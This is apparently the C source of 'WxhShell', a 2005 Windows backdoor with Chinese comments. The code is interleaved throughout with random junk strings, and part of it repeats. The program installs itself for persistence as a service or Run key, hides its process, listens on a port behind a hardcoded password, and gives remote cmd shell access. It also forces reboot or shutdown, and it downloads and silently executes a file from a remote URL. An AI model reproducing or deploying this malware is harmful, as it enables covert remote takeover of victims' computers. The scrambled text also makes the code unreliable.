VU,b> g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~{sG| ;/!* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lj+u@Z<xA NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .ERO|$fv f&v9Q97= if (!NtQueryInformationProcess) return 0;
:Gm/ }D+}DPL{^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @(r/dZc if(!hProcess) return 0; U9b?i$ Y0eE-5F, if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cwiX8e"3 =zQN[ CloseHandle(hProcess); Ft}@1w5 #o1=:PQaC hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N('&jHF if(hProcess==NULL) return 0; 2eMTxwt*S !K|5bK HMODULE hMod; <b,~:9*? char procName[255]; I`NjqyTW unsigned long cbNeeded; U&O:
_>~ 9(QJT}qC if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 98^V4maR: 5\z`-) CloseHandle(hProcess); |i++0BU a+n0|CvF if(strstr(procName,"services")) return 1; // 以服务启动 W6Y]N/v3> AK@9?_D return 0; // 注册表启动 F$)[kP,wtO } G^ :C+/) Bz,?{o6s)Q // 主模块 KCs[/] int StartWxhshell(LPSTR lpCmdLine) !KUi\yQ1 { 5{g?,/( SOCKET wsl; `nu''B
H BOOL val=TRUE; $< JaLS int port=0; _*f`iu:` struct sockaddr_in door; _bNzXF >7 ="8 if(wscfg.ws_autoins) Install(); 5 sX+~Q 7' Mm205\ port=atoi(lpCmdLine); m;,N)<~ FYpzQ6s~ if(port<=0) port=wscfg.ws_port; q#%xro>m ZP(f3X@ WSADATA data; `x*Pof!Io if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .6Pw|xu`Pw (JOgy.5C~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,>%}B3O:Y= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )P
sY($ & door.sin_family = AF_INET; lNYt`xp door.sin_addr.s_addr = inet_addr("127.0.0.1"); LU!a'H'Q door.sin_port = htons(port); gDpVeBd[ ) AvN\sC if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3ca (i/c closesocket(wsl); fb e[@#: return 1; JkbQyn } ``hf=`We Q ~#Wf? if(listen(wsl,2) == INVALID_SOCKET) { `r9!zffyS closesocket(wsl); b0Ps5G\ u return 1; 3EPv"f^V } 5Odhb Wxhshell(wsl); b gK}-EU WSACleanup(); T4Pgbop !$gR{XH$] return 0; VA#"r!1 3YR!Mq$|~ } ivJ@=pd)B -(;26\lE // 以NT服务方式启动 m#|
9hMu VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A P?R"% { _@
qjV~%Sy DWORD status = 0; ,l\-xSM DWORD specificError = 0xfffffff; 86=}ZGWd
iu=7O serviceStatus.dwServiceType = SERVICE_WIN32; )q8p k2 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2*laAB serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vXrx{5gz serviceStatus.dwWin32ExitCode = 0; (c=6yV@ serviceStatus.dwServiceSpecificExitCode = 0; ];[}:f serviceStatus.dwCheckPoint = 0; "o-zy'I serviceStatus.dwWaitHint = 0; 6]WAUK%h h+g_rvIG* hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bq%Jh if (hServiceStatusHandle==0) return; /~%&vpF-L
) j#`r/ status = GetLastError(); 2*;~S44 if (status!=NO_ERROR) =(j1rW! { _Xe>V0 serviceStatus.dwCurrentState = SERVICE_STOPPED; O:;w3u7;u serviceStatus.dwCheckPoint = 0; /K@XzwM serviceStatus.dwWaitHint = 0; &R'c. serviceStatus.dwWin32ExitCode = status; c <B/V0] serviceStatus.dwServiceSpecificExitCode = specificError; &
p SetServiceStatus(hServiceStatusHandle, &serviceStatus); dd %6t return; p_gm3Q } -:+|zF@f ~D j8z+^ serviceStatus.dwCurrentState = SERVICE_RUNNING; x}Eg.S serviceStatus.dwCheckPoint = 0; ]v UwG--* serviceStatus.dwWaitHint = 0; G:<aB if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'x#~'v* } {I%cxQ#y {H>gtpVy // 处理NT服务事件,比如:启动、停止 Uiw2oi&_ VOID WINAPI NTServiceHandler(DWORD fdwControl) EH J.T~X { :D5Rlfj switch(fdwControl) Xx~Bp+ { `KoV_2| case SERVICE_CONTROL_STOP: T4Uev*A serviceStatus.dwWin32ExitCode = 0; ]m3HF& serviceStatus.dwCurrentState = SERVICE_STOPPED; SwGx?U serviceStatus.dwCheckPoint = 0; g
wRZ%.Cn serviceStatus.dwWaitHint = 0; Q~
w|# { 03X1d- SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7;(`MIFXs } AO4U}? return; m.rmM` case SERVICE_CONTROL_PAUSE: E<Y$>uKA serviceStatus.dwCurrentState = SERVICE_PAUSED; L,/%f<wd break; b{&)6M)zo case SERVICE_CONTROL_CONTINUE: pz}.9 yI8 serviceStatus.dwCurrentState = SERVICE_RUNNING; BL}\D;+t break; zR:L!S case SERVICE_CONTROL_INTERROGATE: &K#M*B,*p break; =j]<t }; $7ZX]%<s SetServiceStatus(hServiceStatusHandle, &serviceStatus); +~$ ]}% } sY&IquK^ 77f9(~ZnT // 标准应用程序主函数 |0b`fOS int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kgP0x-Ap { XNkn|q2 .t!x<B // 获取操作系统版本 FcU SE OsIsNt=GetOsVer(); R&k<AZ GetModuleFileName(NULL,ExeFile,MAX_PATH); yNBfUj -L VlsnL8DV // 从命令行安装 ;N0XFjdR if(strpbrk(lpCmdLine,"iI")) Install(); ^hM4j{|&M k?^z;Tlvw // 下载执行文件
(uE!+2C if(wscfg.ws_downexe) { S4z;7z(8+ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YU'E@t5 WinExec(wscfg.ws_filenam,SW_HIDE); Wh*uaad7 } tT_\ i6My htF] W|z if(!OsIsNt) { NZ0;5xGR // 如果时win9x,隐藏进程并且设置为注册表启动 Kn1a>fLaJ_ HideProc(); rjYJs*# StartWxhshell(lpCmdLine); 8<Av@9 *} } oUU1+F- else @:#eb1<S if(StartFromService()) /a4{?? #e // 以服务方式启动 1mG-} StartServiceCtrlDispatcher(DispatchTable); vl:KF7:#m else N`e[:[ // 普通方式启动 4H&+dRI" StartWxhshell(lpCmdLine); +23xev l]8uk^E return 0; 0 @oJFJrO } q(84+{>B }pkzH'$HJ wf<M)Rs| vEJbA =========================================== 9\7en%( M Y76gJ[yjn D*d]aC S)@j6(HC4 5r^(P
o66}yJzmD " )Pv%#P-< 6Z"X}L,* #include <stdio.h> oEpFuWp%A #include <string.h> .7X^YKR #include <windows.h> 7@W>E;go #include <winsock2.h> 3u0RKLc\ #include <winsvc.h> Iu=(qU #include <urlmon.h> c-sfg>0 ^ 2D5StCF$O #pragma comment (lib, "Ws2_32.lib") [Y `W #pragma comment (lib, "urlmon.lib") FGzwhgy ;!Fn1|) #define MAX_USER 100 // 最大客户端连接数 G' 1'/ #define BUF_SOCK 200 // sock buffer "\yT7?}, #define KEY_BUFF 255 // 输入 buffer
[dz _R ~a2}(] #define REBOOT 0 // 重启 .T`%tJ-Em #define SHUTDOWN 1 // 关机 Wx#;E9=Im 'V>-QD%1 #define DEF_PORT 5000 // 监听端口 RxQ * Dw"\/p:-3 #define REG_LEN 16 // 注册表键长度 0=$T\(0g #define SVC_LEN 80 // NT服务名长度 0> \sQ,T 2~[juWbz // 从dll定义API kq-) ^,{y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E{vbO/|kf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /gas2k==^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dc'Y`e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -nwypu FP>2C9:d // wxhshell配置信息 7xR\kL., struct WSCFG { "J1
4C9u
int ws_port; // 监听端口 ^ZCD ~P_= char ws_passstr[REG_LEN]; // 口令 LR3*G7 int ws_autoins; // 安装标记, 1=yes 0=no CvdN"k char ws_regname[REG_LEN]; // 注册表键名 cz$2R char ws_svcname[REG_LEN]; // 服务名 [D1Up char ws_svcdisp[SVC_LEN]; // 服务显示名 W@esITr char ws_svcdesc[SVC_LEN]; // 服务描述信息 s#GLJl\E_P char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }-`4DHgq int ws_downexe; // 下载执行标记, 1=yes 0=no GA.8@3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D6Wa.,r char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1.>m@Slr> O".=r} }; %}T6]S)%u y)<q/ // default Wxhshell configuration [-x7_=E# struct WSCFG wscfg={DEF_PORT, .S4u- "xuhuanlingzhe", 'hf8ZEW9' 1, Yr|4Fl~U "Wxhshell", o !7va" "Wxhshell", S8gs-gL#Og "WxhShell Service", Bbp|!+KP{( "Wrsky Windows CmdShell Service", LH6vLuf "Please Input Your Password: ", LIrb6g&xj_ 1, &c #N)U "http://www.wrsky.com/wxhshell.exe", A %-6`> "Wxhshell.exe" M3Kfd }; B7%U_F|m #LCb // 消息定义模块 [00m/fT6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1YMh1+1 char *msg_ws_prompt="\n\r? for help\n\r#>"; E\$W_Lmr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i mM_H;-X char *msg_ws_ext="\n\rExit."; -{A<.a3P}= char *msg_ws_end="\n\rQuit."; .|=\z9_7S8 char *msg_ws_boot="\n\rReboot..."; jh$='G n char *msg_ws_poff="\n\rShutdown..."; }1xo-mUg, char *msg_ws_down="\n\rSave to "; h7@6T+#WoT mVmGg, char *msg_ws_err="\n\rErr!"; C*lJrFpB char *msg_ws_ok="\n\rOK!"; ~{gqsuCCL B1Oq!k char ExeFile[MAX_PATH]; =Runf
+} int nUser = 0; },[}$m% HANDLE handles[MAX_USER]; SY8C4vb'h int OsIsNt; CH/rp4NeSy qY#6SO`_iy SERVICE_STATUS serviceStatus; D#z:()VT( SERVICE_STATUS_HANDLE hServiceStatusHandle; FgI3 1nOCQ\$l // 函数声明 |Ds=)S"
K int Install(void); L4f3X~8,b int Uninstall(void); GH
xp7H int DownloadFile(char *sURL, SOCKET wsh); |D.ND%K& int Boot(int flag); -%dCw6aX+ void HideProc(void); kNL\m[W8$ int GetOsVer(void); [8*)8jP3 int Wxhshell(SOCKET wsl); vcd\GN*4f void TalkWithClient(void *cs); $mB;K]m int CmdShell(SOCKET sock); =rK+eG#, int StartFromService(void); 8.~kK<)! int StartWxhshell(LPSTR lpCmdLine); jA/w|\d! lNBL4yM VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fxIf|9Qi` VOID WINAPI NTServiceHandler( DWORD fdwControl ); snikn& ;S*}WqP, // 数据结构和表定义 !g.? SERVICE_TABLE_ENTRY DispatchTable[] = {}Za_(Y,] { +'w3 =2Bo {wscfg.ws_svcname, NTServiceMain}, ri.I pRe {NULL, NULL} Hq 188< }; \^%}M!tan C'X!\}f.b/ // 自我安装 :/Qq@]O> int Install(void) kSh( u { *WT`o> char svExeFile[MAX_PATH]; ofv)SCjd HKEY key; alvrh'51 strcpy(svExeFile,ExeFile); K96<M);:g 0K2`-mL // 如果是win9x系统,修改注册表设为自启动 IN G@B#Cl if(!OsIsNt) { n.G!43@*N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #lW`{i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &JI8]JmU) RegCloseKey(key); 6i~WcAs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ez=Olbk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &pp|U} RegCloseKey(key); h2""9aP! return 0; j,dR,N d } \} :PLCKT } d{7+w/Zi } J6aef^> else { w)Qp?k
d .h4 \Y A // 如果是NT以上系统,安装为系统服务 ^M>P:~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R!N%o~C2- if (schSCManager!=0) "!%l/_p? { 'CkIz"Wd SC_HANDLE schService = CreateService ITT@, ( =zKM=qba schSCManager, pD#rnp>WWt wscfg.ws_svcname, M1iS(x wscfg.ws_svcdisp, uGEfIy 2 SERVICE_ALL_ACCESS, exUu7&*: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7Da` SERVICE_AUTO_START, _8_R 1s SERVICE_ERROR_NORMAL, Y#P%6Fy svExeFile, tHwMX1 IG NULL, 6MMOf\
NULL, I75DUJqy] NULL, Vt&2z)Zz NULL, oEKvl3Hz_ NULL >_"an~Ss ); S2VA{9:m if (schService!=0) o]M5b;1 { +Kbjzh3<wG CloseServiceHandle(schService); ~<F8ug# CloseServiceHandle(schSCManager); ")XHak.JX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 54R#W:t strcat(svExeFile,wscfg.ws_svcname); iN8zo:&Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qm8B8&- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #-i>;Rt RegCloseKey(key); B; h"lv return 0; ~^fZx5 } dufu|BL|} } :hk5 .[ CloseServiceHandle(schSCManager); Hp!-248 S } s/ qYa]) } W^LY'ypT EF}\brD1 return 1; k(7&N0V%zz } >T3- ZWU)\}}_R // 自我卸载 ,|H
`e^ int Uninstall(void) KD7dye { H-*yh! HKEY key; ^-Kf']hU /saIs%(fU if(!OsIsNt) { Tc &z: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J76kkW`5 RegDeleteValue(key,wscfg.ws_regname); Z=Y& B>:[ RegCloseKey(key); )SRefW.v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >xYpNtEs RegDeleteValue(key,wscfg.ws_regname); ;jvBF4Lb> RegCloseKey(key); yyRiP|hJ return 0; g:D>.lKd } E}Z/*lX } a# y;dK } #9}D4i.`} else { ?o4C; }`QUHIF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #Z`q+@@]A if (schSCManager!=0) i6tf2oqO7 { M!A}NWF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %.Fi4}+O if (schService!=0) >WQMqQ^t@ { &<5zqsNJ\a if(DeleteService(schService)!=0) { )72+\C[*~r CloseServiceHandle(schService);
bv9i*] CloseServiceHandle(schSCManager); ?{|q5n return 0; AOWmzu{zw } '}JhzKNj CloseServiceHandle(schService); %C'?@,7C } _8riUt CloseServiceHandle(schSCManager); ogtEAv~e7N } ^aMg/.j } YX7L?=;.@ X_ cV%# return 1; 7he,?T)vD } Lh"<XYY ?(y*nD[a // 从指定url下载文件 tl4V7!U@^z int DownloadFile(char *sURL, SOCKET wsh) YTX,cj#D^& { +EAsW(F1 HRESULT hr; ARVf[BAJ-* char seps[]= "/"; *_{j=sd char *token; |zNX=mAV char *file; RtP2]O(F char myURL[MAX_PATH]; Ic:(Gi- % char myFILE[MAX_PATH]; el<s8:lA 9ni1f{k strcpy(myURL,sURL); dA`IEQJL token=strtok(myURL,seps); '&R2 U_ while(token!=NULL) d(x\^z { u+e{Mim file=token; Y3cMC) token=strtok(NULL,seps); ;Ax
}KN7 } R'`qKc &yTqZ*Yuk GetCurrentDirectory(MAX_PATH,myFILE); r1m]HFN strcat(myFILE, "\\"); /?'FE 7Y strcat(myFILE, file); 4 Y9`IgQ send(wsh,myFILE,strlen(myFILE),0); ]G=L=D^cK send(wsh,"...",3,0); K5VWt)Z# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |t&>5HM if(hr==S_OK) \0I_< return 0; sPQQ"|wU else wY%} return 1; T|op$ s| vHc%z$-d } SC!RbW@3 9@:2wR | // 系统电源模块 _QE qk@ql int Boot(int flag) ")5":V~fN { ,vawzq[oSy HANDLE hToken; Z'W=\rl TOKEN_PRIVILEGES tkp; S-b/S5 G]tn i if(OsIsNt) { O`\;e>!t OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hqx-~hQO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hJ? O],4J tkp.PrivilegeCount = 1; OU.6bmWy| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J#(LlCs?@c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }W8;=$jr if(flag==REBOOT) { [;yOBF if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) su(1<S} return 0; q5+4S5R*^ } eA ?RK.e else { eHZws`W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LEf^cM=> return 0; (D&3G;0tK } ~<5!?6Yt } ]
vsz,
0 else { S Lj!v&' if(flag==REBOOT) { pRpBhm;iJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hEH?[>9 return 0; 5d^sA;c } gO- _ else { >Q;l(fdj if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pn1^NUMZJ return 0; KYI/ } "m8^zg hL } p%Vt#?q m?}6)\ob return 1; &h)yro } `UaD6Mc<Mz pE0Sw}A:9 // win9x进程隐藏模块 Y\P8v void HideProc(void) 7Q9 w?y~c { @*XV`_!h RSRS wkC HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \?-<4Bc@ if ( hKernel != NULL ) o5PO=AN { lrE5^;/s1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ML
9' | ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~,Ix0h+H+M FreeLibrary(hKernel); f'RX6$}\1X } `/+>a8 C.-,^+t;g return; VCkq"f7cw } Bkc4TO +\]\[6 // 获取操作系统版本 0Mm)`!TLSW int GetOsVer(void) ;igIZ$& { O0v}43J[ OSVERSIONINFO winfo; Nai2W<, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C{rcs' GetVersionEx(&winfo); 2F.;;Ab if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q?yVR3]M return 1; @Nx9) else cV6D<,) return 0; /,yd+wcW# } FVKTbvYn !Ai@$tl[S // 客户端句柄模块 7JH6A'& int Wxhshell(SOCKET wsl) ES7s1O$# { v\ )W?i*l SOCKET wsh; $6 f3F?y7 struct sockaddr_in client; TD0
B% DWORD myID; Q)h(nbbVak rb.N~ while(nUser<MAX_USER) 6bC3O4Rw { 6H$FhJF int nSize=sizeof(client); d#FQc18v}k wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CA~-rv if(wsh==INVALID_SOCKET) return 1; {EQOP] L="}ErmK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~f98#43 if(handles[nUser]==0) TC*g|d @b closesocket(wsh); 46h<,na?, else F JyT+ nUser++; sO@Tf\d } =7eV/3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e9B064 )SGq[B6@I return 0; 7kEn \ } XSLFPTDEc 3!]rmZ-W // 关闭 socket > ~O.@| void CloseIt(SOCKET wsh)
x.$FNt(9 { R6->t #n, closesocket(wsh); dy[X3jQB nUser--; <e6#lFQqK ExitThread(0); O=7CMbS3 } ;2QP7PrSY ]Y&VT7+Z // 客户端请求句柄 abVmkdP_s void TalkWithClient(void *cs) kAUymds;O { (E1~H0^ >A"(KSNL SOCKET wsh=(SOCKET)cs; h<QY5=SF char pwd[SVC_LEN]; `R^g U]Z, char cmd[KEY_BUFF]; VIf.q)_k char chr[1]; WcGS9`m/ int i,j; JucY[`|JV Ow,b^| while (nUser < MAX_USER) { owv[M6lbD wMN]~|z> if(wscfg.ws_passstr) { WNc0W>*NE1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U6s[`H3I{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Kz,{F@ //ZeroMemory(pwd,KEY_BUFF); \~ wMfP8 i=0; 7G],T++N while(i<SVC_LEN) { j'K/22 `Q,H|hp;k; // 设置超时 Flb&B1 fd_set FdRead; \'j|BJ~L f struct timeval TimeOut; 3Zh)]^ FD_ZERO(&FdRead); BJ(M2|VH FD_SET(wsh,&FdRead); ySI!d|_ TimeOut.tv_sec=8; QS`] TimeOut.tv_usec=0; C7AUsYM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9N3eN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x,V r=FB 2J;g{95z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bZV/l4TU pwd=chr[0]; /a o5FL if(chr[0]==0xd || chr[0]==0xa) { 9cm#56 pwd=0; 4KrL{Z+} break; 3+bt~J0 } vfo~27T{( i++; <of^AKbt } GPkpXVm 40
0#v|b // 如果是非法用户,关闭 socket BsJC0I( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PFK
'$ } ;*&-C9b GuL<Z1<c send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8dyg1F send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S21,VpW\ POR\e|hRT] while(1) { Xn\jO>[Ef Ti&z1_u ZeroMemory(cmd,KEY_BUFF); `@|$,2[C C"enpc_C/ // 自动支持客户端 telnet标准 >yh2Lri j=0; \D&KC,i5f while(j<KEY_BUFF) { ~^b/( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \5cpFj5% cmd[j]=chr[0]; BL58] P84 if(chr[0]==0xa || chr[0]==0xd) { $u6
3]rypm cmd[j]=0; ~< x:q6
break; 6\S~P/PkE } *HB-QIl j++; *4_Bd=5(U } >i-"<jG :p6M= // 下载文件 FNId; if(strstr(cmd,"http://")) { wn)W
?P;k send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]"1DGg \A if(DownloadFile(cmd,wsh)) HLHz2-lI send(wsh,msg_ws_err,strlen(msg_ws_err),0); f'3$9x else O%HHYV%[m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8SS|a } 63x?MY6 else { S?BG_J6A7 1 I",L&S1 switch(cmd[0]) { 8|58 H TrR8?- // 帮助 j^2j&Ta case '?': { DkAAV9* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PRE|+=w$ break; i8HTzv"J } Tc3yS(aq // 安装 WvZ8/T'x case 'i': { m/EFHS49 if(Install()) J`1rJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); F`]2O:[ else Y% 5eZ=z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jdJ>9O0A, break; I?G: p+ } Q#[9|A9 // 卸载 fw{gx case 'r': { {h`uV/5@` if(Uninstall()) Xh;# send(wsh,msg_ws_err,strlen(msg_ws_err),0); e6RPIg else Hc(OI|z~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZbAcO/ break; Nf1-!u7 } mUF,@>o // 显示 wxhshell 所在路径 XAL1|]S case 'p': { #|PS&}6wU char svExeFile[MAX_PATH]; mvT(.R ..s strcpy(svExeFile,"\n\r"); l8#EM1g- strcat(svExeFile,ExeFile); [87,s.MK send(wsh,svExeFile,strlen(svExeFile),0); $(>+VH`l break; m5Di=8 } QWHug:c // 重启
t[
C/
case 'b': { r<Kx0`y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H\tUpan6fy if(Boot(REBOOT)) \7'{g@C( send(wsh,msg_ws_err,strlen(msg_ws_err),0); j9+w#G]hV else { |64~K\X closesocket(wsh); }s<4{:cv+ ExitThread(0); ysf~|r4s } IG9VdDj break;
n$,*|_$# } naznayy // 关机 m#Z#
.j_2 case 'd': { !9P';p}2 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PGV/ h if(Boot(SHUTDOWN)) ^iw'^6~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); mmRJ9OhS else { e|WJQd4+S closesocket(wsh); >y:,9; ExitThread(0); `W/>XZl+t } s'J:f$flS break; $F+ L Ds } *QQzvhk // 获取shell =uYYsC\T case 's': { !fR3(=oN CmdShell(wsh); yx&51G$ closesocket(wsh); :; fHDU| ExitThread(0); 3r."j2$Hs0 break; "J8vjr1/ } ^)*-Bo)I // 退出 b:]V`uF? case 'x': { fbKkq.w send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iq( E'`d CloseIt(wsh); dD|OSB7I7 break; v4c[(& } kbMWGB%; // 离开 `q*M4, case 'q': { };jN\x?&q send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?3zc=J"t closesocket(wsh); 2:7zG"$ WSACleanup(); '2nhv,|.U exit(1); @H7d_S break; 1A G<$d5U| } ![_*(8v}S } BB*f4z$Y% } b
Y\K 7gvnl~C( // 提示信息 6NM:DI\% if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p#?7w } s ;oQS5Y } 6ZG+ZHUC& QaS7z#/?. return; jW3!6*93 } v)l8@. MLje4 // shell模块句柄 1&)?JZhg int CmdShell(SOCKET sock) ],FMwCI { o9%)D<4M STARTUPINFO si; X=!^] 3zH ZeroMemory(&si,sizeof(si)); vss(twg si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uRRQyZ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r1.nTO% PROCESS_INFORMATION ProcessInfo; f]|ysf char cmdline[]="cmd"; +"cq(Y@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |_*O '#jx return 0;
1 +qw$T } I)cFG{~L P'*)\faw // 自身启动模式 L[H5NUG! int StartFromService(void) Fzpfoz<N { sCi s4gX.] typedef struct $8xl#SqH { *:t|qgJI#+ DWORD ExitStatus; ~\.w^*$#Y DWORD PebBaseAddress; Q6AC(n@:FV DWORD AffinityMask; %Nhx;{ DWORD BasePriority; SAK!z!t ULONG UniqueProcessId; wS+^K ULONG InheritedFromUniqueProcessId; 04'~ta(t } PROCESS_BASIC_INFORMATION; LbG_ z =A qT"Q1xU[ PROCNTQSIP NtQueryInformationProcess; IOoz^/' 6morum static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZF|+W?0&% static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4EZ9hA9+ W$rH"_@m HANDLE hProcess; M^iU;vo PROCESS_BASIC_INFORMATION pbi; AvSM^ /D^"X
4!" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `v}%33$hA if(NULL == hInst ) return 0; \X&H;xnC5 }_;!hdYq g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A~+S1 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 92d6U2T4& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =ng\ 9y[;D ;D
s46M-s if (!NtQueryInformationProcess) return 0; rEv*)W XC "'Q+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [],1lRYI9_ if(!hProcess) return 0; \eb|eN0i *gF<m9& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OY5OJ* \nB8WSvk2W CloseHandle(hProcess); }X_;X_\3;' f7~9|w& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0zCw>wBPW if(hProcess==NULL) return 0; b0A1hb[| /43-;"%> HMODULE hMod; VY"9?2?/ char procName[255]; "/6:6`J unsigned long cbNeeded; <[J[idY1he NeBsv= [- if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) 